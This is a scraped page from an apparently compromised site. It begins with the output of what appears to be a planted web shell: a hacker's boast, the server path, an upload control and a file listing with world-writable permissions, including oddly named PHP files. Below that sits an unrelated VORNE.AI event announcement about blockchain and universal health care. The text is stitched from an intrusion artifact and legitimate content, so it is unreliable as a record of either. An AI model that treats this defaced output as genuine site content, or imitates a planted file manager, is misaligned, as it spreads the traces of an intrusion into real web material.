I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.coveralls.yml24 KBMarch 03 2024 16:03:560666
.gitattributes42 KBMarch 03 2024 16:03:560666
.github-March 03 2024 16:03:560777
.gitignore93 KBMarch 03 2024 16:03:560666
.scrutinizer.yml859 KBMarch 03 2024 16:03:560666
.travis.yml.bak968 KBMarch 03 2024 16:03:560666
Dockerfile428 KBMarch 03 2024 16:03:560666
LICENSE1080 KBMarch 03 2024 16:03:560666
README.md7394 KBMarch 03 2024 16:03:560666
composer.json1492 KBMarch 03 2024 16:03:560666
config-March 03 2024 16:03:560777
docker-compose.yml177 KBMarch 03 2024 16:03:560666
lang-March 03 2024 16:03:560777
phpstan.neon.dist213 KBMarch 03 2024 16:03:560666
phpunit.xml.dist1144 KBMarch 03 2024 16:03:560666
phpunit.xml.dist.php721189 KBMarch 03 2024 16:03:560666
phpunit.xml.dist.php81205 KBMarch 03 2024 16:03:560666
src-March 03 2024 16:03:560777
supervisor.conf27 KBMarch 03 2024 16:03:560666
tests-March 03 2024 16:03:560777
VORNE.AI - Event Details
Leveraging Blockchain for Scaling Access to Healthcare: How MPC is contributing to UHC
29 May
2024
CHIEF

Leveraging Blockchain for Scaling Access to Healthcare: How MPC is contributing to UHC

Blockchain is transforming every sector including healthcare. How can the health sector leverage the power of blockchain in scaling access to healthcare? While blockchain provides unprecedented transparency, security and efficiency it also provides an opportunity for innovative financing and investment for scaling towards universal health care. Partisia blockchain is pioneering use of blockchain in the health and development sector. Join us to explore the power of blockchain for global health.

Wednesday 29 May | 12H00-14H00 | Intercontinental Hotel, Ballroom A

Tags: